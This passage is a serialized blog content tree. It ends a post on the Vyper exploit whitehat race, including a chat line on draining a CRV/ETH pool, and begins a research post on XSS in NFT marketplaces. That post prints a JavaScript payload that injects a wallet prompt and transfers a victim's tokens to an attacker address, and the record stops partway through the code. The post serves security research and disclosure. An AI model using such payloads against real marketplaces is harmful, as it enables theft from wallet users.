",{"type":25,"tag":162,"props":34888,"children":34891},{"href":34889,"rel":34890},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[166],[34892],{"type":31,"value":34893},"somebody else stole the funds",{"type":31,"value":179},{"type":25,"tag":38,"props":34896,"children":34897},{},[34898],{"type":31,"value":34899},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":25,"tag":38,"props":34901,"children":34902},{},[34903],{"type":31,"value":34904},"Nevertheless, there was more ground to cover.",{"type":25,"tag":38,"props":34906,"children":34907},{},[34908,34913],{"type":25,"tag":9267,"props":34909,"children":34910},{},[34911],{"type":31,"value":34912},"21:26 UTC",{"type":31,"value":34914}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":25,"tag":34,"props":34916,"children":34917},{},[34918],{"type":25,"tag":38,"props":34919,"children":34920},{},[34921,34923,34927,34929,34932,34934,34937,34939],{"type":31,"value":34922},"if you send like 30k crv to the crv/eth pool ",{"type":25,"tag":34924,"props":34925,"children":34926},"br",{},[],{"type":31,"value":34928},"\nyou can then update admin fee ",{"type":25,"tag":34924,"props":34930,"children":34931},{},[],{"type":31,"value":34933},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":25,"tag":34924,"props":34935,"children":34936},{},[],{"type":31,"value":34938},"\nso you can basically drain whole pool for few hundred K crv ",{"type":25,"tag":34924,"props":34940,"children":34941},{},[],{"type":25,"tag":38,"props":34943,"children":34944},{},[34945,34950],{"type":25,"tag":9267,"props":34946,"children":34947},{},[34948],{"type":31,"value":34949},"21:52 UTC",{"type":31,"value":34951}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":25,"tag":38,"props":34953,"children":34954},{},[34955,34957,34964,34966,34973,34981],{"type":31,"value":34956},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":25,"tag":162,"props":34958,"children":34961},{"href":34959,"rel":34960},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[166],[34962],{"type":31,"value":34963},"CRV admin fee bot",{"type":31,"value":34965}," had claimed fees and ",{"type":25,"tag":162,"props":34967,"children":34970},{"href":34968,"rel":34969},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[166],[34971],{"type":31,"value":34972},"the pool was drained",{"type":25,"tag":19425,"props":34974,"children":34975},{},[34976],{"type":25,"tag":162,"props":34977,"children":34979},{"href":33578,"ariaDescribedBy":34978,"dataFootnoteRef":7,"id":33580},[19432],[34980],{"type":31,"value":184},{"type":31,"value":179},{"type":25,"tag":26,"props":34983,"children":34985},{"id":34984},"blame",[34986],{"type":31,"value":34987},"Blame",{"type":25,"tag":38,"props":34989,"children":34990},{},[34991,34995],{"type":25,"tag":64,"props":34992,"children":34993},{},[34994],{"type":31,"value":34987},{"type":31,"value":34996}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":25,"tag":607,"props":34998,"children":35000},{"id":34999},"races",[35001],{"type":31,"value":35002},"Races",{"type":25,"tag":38,"props":35004,"children":35005},{},[35006],{"type":31,"value":35007},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":25,"tag":38,"props":35009,"children":35010},{},[35011],{"type":31,"value":35012},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":25,"tag":38,"props":35014,"children":35015},{},[35016],{"type":31,"value":35017},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":25,"tag":607,"props":35019,"children":35021},{"id":35020},"information-leakage",[35022],{"type":31,"value":35023},"Information Leakage",{"type":25,"tag":38,"props":35025,"children":35026},{},[35027],{"type":31,"value":35028},"I was both an auditor and a whitehat.",{"type":25,"tag":38,"props":35030,"children":35031},{},[35032,35034,35041],{"type":31,"value":35033},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":25,"tag":162,"props":35035,"children":35038},{"href":35036,"rel":35037},"https://twitter.com/osec_io/status/1579969927020412929",[166],[35039],{"type":31,"value":35040},"by publishing the \"scoop\"",{"type":31,"value":35042}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":25,"tag":38,"props":35044,"children":35045},{},[35046],{"type":31,"value":35047},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":25,"tag":38,"props":35049,"children":35050},{},[35051],{"type":31,"value":35052},"Half an hour more could have saved $18M.",{"type":25,"tag":38,"props":35054,"children":35055},{},[35056],{"type":31,"value":35057},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":25,"tag":26,"props":35059,"children":35061},{"id":35060},"next-steps",[35062],{"type":31,"value":35063},"Next Steps",{"type":25,"tag":38,"props":35065,"children":35066},{},[35067],{"type":31,"value":35068},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":25,"tag":38,"props":35070,"children":35071},{},[35072,35074,35081],{"type":31,"value":35073},"It's important to note that this bug ",{"type":25,"tag":162,"props":35075,"children":35078},{"href":35076,"rel":35077},"https://twitter.com/real_philogy/status/1685948253139857409",[166],[35079],{"type":31,"value":35080},"was patched since November 2021",{"type":31,"value":179},{"type":25,"tag":34,"props":35083,"children":35084},{},[35085],{"type":25,"tag":38,"props":35086,"children":35087},{},[35088,35090,35095,35096,35099,35101,35106],{"type":31,"value":35089},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":25,"tag":64,"props":35091,"children":35092},{},[35093],{"type":31,"value":35094},"processes",{"type":31,"value":22485},{"type":25,"tag":34924,"props":35097,"children":35098},{},[],{"type":31,"value":35100},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":25,"tag":64,"props":35102,"children":35103},{},[35104],{"type":31,"value":35105},"was",{"type":31,"value":35107}," fixed.",{"type":25,"tag":38,"props":35109,"children":35110},{},[35111],{"type":31,"value":35112},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":25,"tag":22375,"props":35114,"children":35116},{"className":35115,"dataFootnotes":7},[22378],[35117,35122],{"type":25,"tag":26,"props":35118,"children":35120},{"className":35119,"id":19432},[22383],[35121],{"type":31,"value":22386},{"type":25,"tag":6705,"props":35123,"children":35124},{},[35125],{"type":25,"tag":2037,"props":35126,"children":35127},{"id":34321},[35128,35130],{"type":31,"value":35129},"Thankfully, these funds were later returned. ",{"type":25,"tag":162,"props":35131,"children":35133},{"href":34349,"ariaLabel":22489,"className":35132,"dataFootnoteBackref":7},[22491],[35134],{"type":31,"value":22494},{"type":25,"tag":9310,"props":35136,"children":35137},{},[35138],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":35140},[35141,35142,35146,35147],{"id":34416,"depth":6763,"text":34419},{"id":34984,"depth":6763,"text":34987,"children":35143},[35144,35145],{"id":34999,"depth":6772,"text":35002},{"id":35020,"depth":6772,"text":35023},{"id":35060,"depth":6763,"text":35063},{"id":19432,"depth":6763,"text":22386},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":35152,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":35153,"description":35154,"author":35155,"image":35158,"date":35160,"isFeatured":16,"tags":35161,"onBlogPage":16,"body":35164,"_type":6792,"_id":39375,"_source":6794,"_file":39376,"_stem":39377,"_extension":6797},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[35156,35157],"caue","bruno",{"src":35159,"height":17574,"width":17574},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[35162,35163],"nft-marketplaces","xss",{"type":22,"children":35165,"toc":39358},[35166,35170,35175,35179,35184,35189,35194,35210,35216,35229,35251,35258,35263,35270,35275,35281,35286,35291,35296,35301,35312,35317,36286,36296,36308,36315,36320,37141,37146,37151,37156,37161,37945,37950,38032,38037,38106,38112,38117,38122,38349,38362,38367,38372,38377,38384,38389,38396,38402,38407,38412,38417,38736,38741,38747,38763,38769,38774,38779,38789,38794,38799,38808,38813,38819,38835,38848,38853,38858,38878,38885,38890,38897,38906,38911,38932,38985,38990,39041,39055,39060,39074,39189,39212,39296,39319,39324,39329,39333,39338,39343,39349,39354],{"type":25,"tag":26,"props":35167,"children":35168},{"id":32969},[35169],{"type":31,"value":32972},{"type":25,"tag":38,"props":35171,"children":35172},{},[35173],{"type":31,"value":35174},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":25,"tag":607,"props":35176,"children":35177},{"id":6847},[35178],{"type":31,"value":6850},{"type":25,"tag":38,"props":35180,"children":35181},{},[35182],{"type":31,"value":35183},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":25,"tag":38,"props":35185,"children":35186},{},[35187],{"type":31,"value":35188},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":25,"tag":26,"props":35190,"children":35191},{"id":35163},[35192],{"type":31,"value":35193},"XSS",{"type":25,"tag":38,"props":35195,"children":35196},{},[35197],{"type":25,"tag":64,"props":35198,"children":35199},{},[35200,35202,35209],{"type":31,"value":35201},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":25,"tag":162,"props":35203,"children":35206},{"href":35204,"rel":35205},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[166],[35207],{"type":31,"value":35208},"even explain it to myself",{"type":31,"value":179},{"type":25,"tag":607,"props":35211,"children":35213},{"id":35212},"managing-metadata",[35214],{"type":31,"value":35215},"Managing Metadata",{"type":25,"tag":38,"props":35217,"children":35218},{},[35219,35221,35228],{"type":31,"value":35220},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":25,"tag":162,"props":35222,"children":35225},{"href":35223,"rel":35224},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[166],[35226],{"type":31,"value":35227},"payloads",{"type":31,"value":179},{"type":25,"tag":38,"props":35230,"children":35231},{},[35232,35234,35241,35243,35249],{"type":31,"value":35233},"We showcase this vulnerability in the ",{"type":25,"tag":162,"props":35235,"children":35238},{"href":35236,"rel":35237},"https://rocki.com/",[166],[35239],{"type":31,"value":35240},"Rocki Marketplace",{"type":31,"value":35242},". The ",{"type":25,"tag":82,"props":35244,"children":35246},{"className":35245},[],[35247],{"type":31,"value":35248},"artistDescription",{"type":31,"value":35250}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":25,"tag":38,"props":35252,"children":35253},{},[35254],{"type":25,"tag":6461,"props":35255,"children":35257},{"alt":7,"src":35256},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":25,"tag":38,"props":35259,"children":35260},{},[35261],{"type":31,"value":35262},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":25,"tag":38,"props":35264,"children":35265},{},[35266],{"type":25,"tag":6461,"props":35267,"children":35269},{"alt":7,"src":35268},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":25,"tag":38,"props":35271,"children":35272},{},[35273],{"type":31,"value":35274},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":25,"tag":607,"props":35276,"children":35278},{"id":35277},"wheres-my-wallet",[35279],{"type":31,"value":35280},"Where's My Wallet",{"type":25,"tag":38,"props":35282,"children":35283},{},[35284],{"type":31,"value":35285},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":25,"tag":38,"props":35287,"children":35288},{},[35289],{"type":31,"value":35290},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":25,"tag":38,"props":35292,"children":35293},{},[35294],{"type":31,"value":35295},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":25,"tag":38,"props":35297,"children":35298},{},[35299],{"type":31,"value":35300},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":25,"tag":35302,"props":35303,"children":35305},"div",{"style":35304},"display:flex; align-items:center; flex-direction:column;",[35306],{"type":25,"tag":6461,"props":35307,"children":35311},{"src":35308,"alt":35309,"style":35310},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":25,"tag":38,"props":35313,"children":35314},{},[35315],{"type":31,"value":35316},"And here we can find the code used to achieve it :",{"type":25,"tag":206,"props":35318,"children":35322},{"className":35319,"code":35320,"language":35321,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[35323],{"type":25,"tag":82,"props":35324,"children":35325},{"__ignoreMap":7},[35326,35343,35388,35417,35433,35496,35531,35556,35581,35588,35608,35616,35632,35644,35652,35669,35686,35694,35701,35717,35733,35740,35748,35765,35777,35784,35800,35816,35823,35830,35847,35854,35862,35869,35916,35923,35987,35994,36014,36030,36046,36067,36138,36154,36161,36168,36206,36214,36221,36228,36235,36256],{"type":25,"tag":216,"props":35327,"children":35328},{"class":6916,"line":6917},[35329,35334,35339],{"type":25,"tag":216,"props":35330,"children":35331},{"style":6930},[35332],{"type":31,"value":35333},"function",{"type":25,"tag":216,"props":35335,"children":35336},{"style":7041},[35337],{"type":31,"value":35338}," request",{"type":25,"tag":216,"props":35340,"children":35341},{"style":6958},[35342],{"type":31,"value":19688},{"type":25,"tag":216,"props":35344,"children":35345},{"class":6916,"line":6763},[35346,35351,35355,35360,35365,35369,35374,35379,35384],{"type":25,"tag":216,"props":35347,"children":35348},{"style":6967},[35349],{"type":31,"value":35350},"  if",{"type":25,"tag":216,"props":35352,"children":35353},{"style":6958},[35354],{"type":31,"value":7010},{"type":25,"tag":216,"props":35356,"children":35357},{"style":6930},[35358],{"type":31,"value":35359},"typeof",{"type":25,"tag":216,"props":35361,"children":35362},{"style":6941},[35363],{"type":31,"value":35364}," window",{"type":25,"tag":216,"props":35366,"children":35367},{"style":6958},[35368],{"type":31,"value":179},{"type":25,"tag":216,"props":35370,"children":35371},{"style":6941},[35372],{"type":31,"value":35373},"ethereum",{"type":25,"tag":216,"props":35375,"children":35376},{"style":6947},[35377],{"type":31,"value":35378}," ===",{"type":25,"tag":216,"props":35380,"children":35381},{"style":8199},[35382],{"type":31,"value":35383}," 'undefined'",{"type":25,"tag":216,"props":35385,"children":35386},{"style":6958},[35387],{"type":31,"value":18755},{"type":25,"tag":216,"props":35389,"children":35390},{"class":6916,"line":6772},[35391,35396,35400,35404,35408,35413],{"type":25,"tag":216,"props":35392,"children":35393},{"style":6941},[35394],{"type":31,"value":35395},"    console",{"type":25,"tag":216,"props":35397,"children":35398},{"style":6958},[35399],{"type":31,"value":179},{"type":25,"tag":216,"props":35401,"children":35402},{"style":7041},[35403],{"type":31,"value":18815},{"type":25,"tag":216,"props":35405,"children":35406},{"style":6958},[35407],{"type":31,"value":1844},{"type":25,"tag":216,"props":35409,"children":35410},{"style":8199},[35411],{"type":31,"value":35412},"'Please install MetaMask to use this feature.'",{"type":25,"tag":216,"props":35414,"children":35415},{"style":6958},[35416],{"type":31,"value":7791},{"type":25,"tag":216,"props":35418,"children":35419},{"class":6916,"line":6999},[35420,35425,35429],{"type":25,"tag":216,"props":35421,"children":35422},{"style":6958},[35423],{"type":31,"value":35424},"  } ",{"type":25,"tag":216,"props":35426,"children":35427},{"style":6967},[35428],{"type":31,"value":7262},{"type":25,"tag":216,"props":35430,"children":35431},{"style":6958},[35432],{"type":31,"value":7235},{"type":25,"tag":216,"props":35434,"children":35435},{"class":6916,"line":7104},[35436,35441,35445,35450,35455,35460,35465,35470,35475,35480,35484,35488,35492],{"type":25,"tag":216,"props":35437,"children":35438},{"style":6941},[35439],{"type":31,"value":35440},"    ethereum",{"type":25,"tag":216,"props":35442,"children":35443},{"style":6958},[35444],{"type":31,"value":179},{"type":25,"tag":216,"props":35446,"children":35447},{"style":7041},[35448],{"type":31,"value":35449},"request",{"type":25,"tag":216,"props":35451,"children":35452},{"style":6958},[35453],{"type":31,"value":35454},"({ ",{"type":25,"tag":216,"props":35456,"children":35457},{"style":6941},[35458],{"type":31,"value":35459},"method:",{"type":25,"tag":216,"props":35461,"children":35462},{"style":8199},[35463],{"type":31,"value":35464}," 'eth_requestAccounts'",{"type":25,"tag":216,"props":35466,"children":35467},{"style":6958},[35468],{"type":31,"value":35469}," }).",{"type":25,"tag":216,"props":35471,"children":35472},{"style":7041},[35473],{"type":31,"value":35474},"then",{"type":25,"tag":216,"props":35476,"children":35477},{"style":6958},[35478],{"type":31,"value":35479},"((",{"type":25,"tag":216,"props":35481,"children":35482},{"style":6941},[35483],{"type":31,"value":18626},{"type":25,"tag":216,"props":35485,"children":35486},{"style":6958},[35487],{"type":31,"value":7030},{"type":25,"tag":216,"props":35489,"children":35490},{"style":6930},[35491],{"type":31,"value":18773},{"type":25,"tag":216,"props":35493,"children":35494},{"style":6958},[35495],{"type":31,"value":7235},{"type":25,"tag":216,"props":35497,"children":35498},{"class":6916,"line":7210},[35499,35504,35509,35513,35518,35522,35526],{"type":25,"tag":216,"props":35500,"children":35501},{"style":6930},[35502],{"type":31,"value":35503},"      const",{"type":25,"tag":216,"props":35505,"children":35506},{"style":6941},[35507],{"type":31,"value":35508}," fromAddress",{"type":25,"tag":216,"props":35510,"children":35511},{"style":6947},[35512],{"type":31,"value":6950},{"type":25,"tag":216,"props":35514,"children":35515},{"style":6941},[35516],{"type":31,"value":35517}," accounts",{"type":25,"tag":216,"props":35519,"children":35520},{"style":6958},[35521],{"type":31,"value":7695},{"type":25,"tag":216,"props":35523,"children":35524},{"style":6983},[35525],{"type":31,"value":1876},{"type":25,"tag":216,"props":35527,"children":35528},{"style":6958},[35529],{"type":31,"value":35530},"];\n",{"type":25,"tag":216,"props":35532,"children":35533},{"class":6916,"line":7238},[35534,35538,35543,35547,35552],{"type":25,"tag":216,"props":35535,"children":35536},{"style":6930},[35537],{"type":31,"value":35503},{"type":25,"tag":216,"props":35539,"children":35540},{"style":6941},[35541],{"type":31,"value":35542}," attackerAddress",{"type":25,"tag":216,"props":35544,"children":35545},{"style":6947},[35546],{"type":31,"value":6950},{"type":25,"tag":216,"props":35548,"children":35549},{"style":8199},[35550],{"type":31,"value":35551}," '0x0000000000000000000000000000000000000000'",{"type":25,"tag":216,"props":35553,"children":35554},{"style":6958},[35555],{"type":31,"value":6961},{"type":25,"tag":216,"props":35557,"children":35558},{"class":6916,"line":7251},[35559,35563,35568,35572,35577],{"type":25,"tag":216,"props":35560,"children":35561},{"style":6930},[35562],{"type":31,"value":35503},{"type":25,"tag":216,"props":35564,"children":35565},{"style":6941},[35566],{"type":31,"value":35567}," contractAddress",{"type":25,"tag":216,"props":35569,"children":35570},{"style":6947},[35571],{"type":31,"value":6950},{"type":25,"tag":216,"props":35573,"children":35574},{"style":8199},[35575],{"type":31,"value":35576}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":25,"tag":216,"props":35578,"children":35579},{"style":6958},[35580],{"type":31,"value":6961},{"type":25,"tag":216,"props":35582,"children":35583},{"class":6916,"line":7269},[35584],{"type":25,"tag":216,"props":35585,"children":35586},{"emptyLinePlaceholder":16},[35587],{"type":31,"value":7636},{"type":25,"tag":216,"props":35589,"children":35590},{"class":6916,"line":7290},[35591,35595,35600,35604],{"type":25,"tag":216,"props":35592,"children":35593},{"style":6930},[35594],{"type":31,"value":12021},{"type":25,"tag":216,"props":35596,"children":35597},{"style":6941},[35598],{"type":31,"value":35599}," tokenAbi",{"type":25,"tag":216,"props":35601,"children":35602},{"style":6947},[35603],{"type":31,"value":6950},{"type":25,"tag":216,"props":35605,"children":35606},{"style":6958},[35607],{"type":31,"value":29573},{"type":25,"tag":216,"props":35609,"children":35610},{"class":6916,"line":7299},[35611],{"type":25,"tag":216,"props":35612,"children":35613},{"style":6958},[35614],{"type":31,"value":35615},"        {\n",{"type":25,"tag":216,"props":35617,"children":35618},{"class":6916,"line":7551},[35619,35624,35628],{"type":25,"tag":216,"props":35620,"children":35621},{"style":6941},[35622],{"type":31,"value":35623},"          constant:",{"type":25,"tag":216,"props":35625,"children":35626},{"style":6930},[35627],{"type":31,"value":13006},{"type":25,"tag":216,"props":35629,"children":35630},{"style":6958},[35631],{"type":31,"value":7459},{"type":25,"tag":216,"props":35633,"children":35634},{"class":6916,"line":7568},[35635,35640],{"type":25,"tag":216,"props":35636,"children":35637},{"style":6941},[35638],{"type":31,"value":35639},"          inputs:",{"type":25,"tag":216,"props":35641,"children":35642},{"style":6958},[35643],{"type":31,"value":29573},{"type":25,"tag":216,"props":35645,"children":35646},{"class":6916,"line":7585},[35647],{"type":25,"tag":216,"props":35648,"children":35649},{"style":6958},[35650],{"type":31,"value":35651},"            {\n",{"type":25,"tag":216,"props":35653,"children":35654},{"class":6916,"line":7598},[35655,35660,35665],{"type":25,"tag":216,"props":35656,"children":35657},{"style":6941},[35658],{"type":31,"value":35659},"              name:",{"type":25,"tag":216,"props":35661,"children":35662},{"style":8199},[35663],{"type":31,"value":35664}," '_to'",{"type":25,"tag":216,"props":35666,"children":35667},{"style":6958},[35668],{"type":31,"value":7459},{"type":25,"tag":216,"props":35670,"children":35671},{"class":6916,"line":7607},[35672,35677,35682],{"type":25,"tag":216,"props":35673,"children":35674},{"style":6941},[35675],{"type":31,"value":35676},"              type:",{"type":25,"tag":216,"props":35678,"children":35679},{"style":8199},[35680],{"type":31,"value":35681}," 'address'",{"type":25,"tag":216,"props":35683,"children":35684},{"style":6958},[35685],{"type":31,"value":7459},{"type":25,"tag":216,"props":35687,"children":35688},{"class":6916,"line":7630},[35689],{"type":25,"tag":216,"props":35690,"children":35691},{"style":6958},[35692],{"type":31,"value":35693},"            },\n",{"type":25,"tag":216,"props":35695,"children":35696},{"class":6916,"line":7639},[35697],{"type":25,"tag":216,"props":35698,"children":35699},{"style":6958},[35700],{"type":31,"value":35651},{"type":25,"tag":216,"props":35702,"children":35703},{"class":6916,"line":7648},[35704,35708,35713],{"type":25,"tag":216,"props":35705,"children":35706},{"style":6941},[35707],{"type":31,"value":35659},{"type":25,"tag":216,"props":35709,"children":35710},{"style":8199},[35711],{"type":31,"value":35712}," '_value'",{"type":25,"tag":216,"props":35714,"children":35715},{"style":6958},[35716],{"type":31,"value":7459},{"type":25,"tag":216,"props":35718,"children":35719},{"class":6916,"line":7716},[35720,35724,35729],{"type":25,"tag":216,"props":35721,"children":35722},{"style":6941},[35723],{"type":31,"value":35676},{"type":25,"tag":216,"props":35725,"children":35726},{"style":8199},[35727],{"type":31,"value":35728}," 'uint256'",{"type":25,"tag":216,"props":35730,"children":35731},{"style":6958},[35732],{"type":31,"value":7459},{"type":25,"tag":216,"props":35734,"children":35735},{"class":6916,"line":7724},[35736],{"type":25,"tag":216,"props":35737,"children":35738},{"style":6958},[35739],{"type":31,"value":35693},{"type":25,"tag":216,"props":35741,"children":35742},{"class":6916,"line":7754},[35743],{"type":25,"tag":216,"props":35744,"children":35745},{"style":6958},[35746],{"type":31,"value":35747},"          ],\n",{"type":25,"tag":216,"props":35749,"children":35750},{"class":6916,"line":7762},[35751,35756,35761],{"type":25,"tag":216,"props":35752,"children":35753},{"style":6941},[35754],{"type":31,"value":35755},"          name:",{"type":25,"tag":216,"props":35757,"children":35758},{"style":8199},[35759],{"type":31,"value":35760}," 'transfer'",{"type":25,"tag":216,"props":35762,"children":35763},{"style":6958},[35764],{"type":31,"value":7459},{"type":25,"tag":216,"props":35766,"children":35767},{"class":6916,"line":7794},[35768,35773],{"type":25,"tag":216,"props":35769,"children":35770},{"style":6941},[35771],{"type":31,"value":35772},"          outputs:",{"type":25,"tag":216,"props":35774,"children":35775},{"style":6958},[35776],{"type":31,"value":29573},{"type":25,"tag":216,"props":35778,"children":35779},{"class":6916,"line":7802},[35780],{"type":25,"tag":216,"props":35781,"children":35782},{"style":6958},[35783],{"type":31,"value":35651},{"type":25,"tag":216,"props":35785,"children":35786},{"class":6916,"line":7862},[35787,35791,35796],{"type":25,"tag":216,"props":35788,"children":35789},{"style":6941},[35790],{"type":31,"value":35659},{"type":25,"tag":216,"props":35792,"children":35793},{"style":8199},[35794],{"type":31,"value":35795}," ''",{"type":25,"tag":216,"props":35797,"children":35798},{"style":6958},[35799],{"type":31,"value":7459},{"type":25,"tag":216,"props":35801,"children":35802},{"class":6916,"line":12995},[35803,35807,35812],{"type":25,"tag":216,"props":35804,"children":35805},{"style":6941},[35806],{"type":31,"value":35676},{"type":25,"tag":216,"props":35808,"children":35809},{"style":8199},[35810],{"type":31,"value":35811}," 'bool'",{"type":25,"tag":216,"props":35813,"children":35814},{"style":6958},[35815],{"type":31,"value":7459},{"type":25,"tag":216,"props":35817,"children":35818},{"class":6916,"line":13013},[35819],{"type":25,"tag":216,"props":35820,"children":35821},{"style":6958},[35822],{"type":31,"value":35693},{"type":25,"tag":216,"props":35824,"children":35825},{"class":6916,"line":13058},[35826],{"type":25,"tag":216,"props":35827,"children":35828},{"style":6958},[35829],{"type":31,"value":35747},{"type":25,"tag":216,"props":35831,"children":35832},{"class":6916,"line":13164},[35833,35838,35843],{"type":25,"tag":216,"props":35834,"children":35835},{"style":6941},[35836],{"type":31,"value":35837},"          type:",{"type":25,"tag":216,"props":35839,"children":35840},{"style":8199},[35841],{"type":31,"value":35842}," 'function'",{"type":25,"tag":216,"props":35844,"children":35845},{"style":6958},[35846],{"type":31,"value":7459},{"type":25,"tag":216,"props":35848,"children":35849},{"class":6916,"line":27449},[35850],{"type":25,"tag":216,"props":35851,"children":35852},{"style":6958},[35853],{"type":31,"value":29325},{"type":25,"tag":216,"props":35855,"children":35856},{"class":6916,"line":27484},[35857],{"type":25,"tag":216,"props":35858,"children":35859},{"style":6958},[35860],{"type":31,"value":35861},"      ];\n",{"type":25,"tag":216,"props":35863,"children":35864},{"class":6916,"line":27492},[35865],{"type":25,"tag":216,"props":35866,"children":35867},{"emptyLinePlaceholder":16},[35868],{"type":31,"value":7636},{"type":25,"tag":216,"props":35870,"children":35871},{"class":6916,"line":27500},[35872,35876,35881,35885,35890,35895,35899,35904,35908,35912],{"type":25,"tag":216,"props":35873,"children":35874},{"style":6930},[35875],{"type":31,"value":35503},{"type":25,"tag":216,"props":35877,"children":35878},{"style":6941},[35879],{"type":31,"value":35880}," web3",{"type":25,"tag":216,"props":35882,"children":35883},{"style":6947},[35884],{"type":31,"value":6950},{"type":25,"tag":216,"props":35886,"children":35887},{"style":6930},[35888],{"type":31,"value":35889}," new",{"type":25,"tag":216,"props":35891,"children":35892},{"style":7041},[35893],{"type":31,"value":35894}," Web3",{"type":25,"tag":216,"props":35896,"children":35897},{"style":6958},[35898],{"type":31,"value":1844},{"type":25,"tag":216,"props":35900,"children":35901},{"style":6941},[35902],{"type":31,"value":35903},"window",{"type":25,"tag":216,"props":35905,"children":35906},{"style":6958},[35907],{"type":31,"value":179},{"type":25,"tag":216,"props":35909,"children":35910},{"style":6941},[35911],{"type":31,"value":35373},{"type":25,"tag":216,"props":35913,"children":35914},{"style":6958},[35915],{"type":31,"value":7791},{"type":25,"tag":216,"props":35917,"children":35918},{"class":6916,"line":27509},[35919],{"type":25,"tag":216,"props":35920,"children":35921},{"emptyLinePlaceholder":16},[35922],{"type":31,"value":7636},{"type":25,"tag":216,"props":35924,"children":35925},{"class":6916,"line":27551},[35926,35930,35935,35939,35943,35947,35951,35956,35960,35965,35969,35974,35978,35983],{"type":25,"tag":216,"props":35927,"children":35928},{"style":6930},[35929],{"type":31,"value":35503},{"type":25,"tag":216,"props":35931,"children":35932},{"style":6941},[35933],{"type":31,"value":35934}," 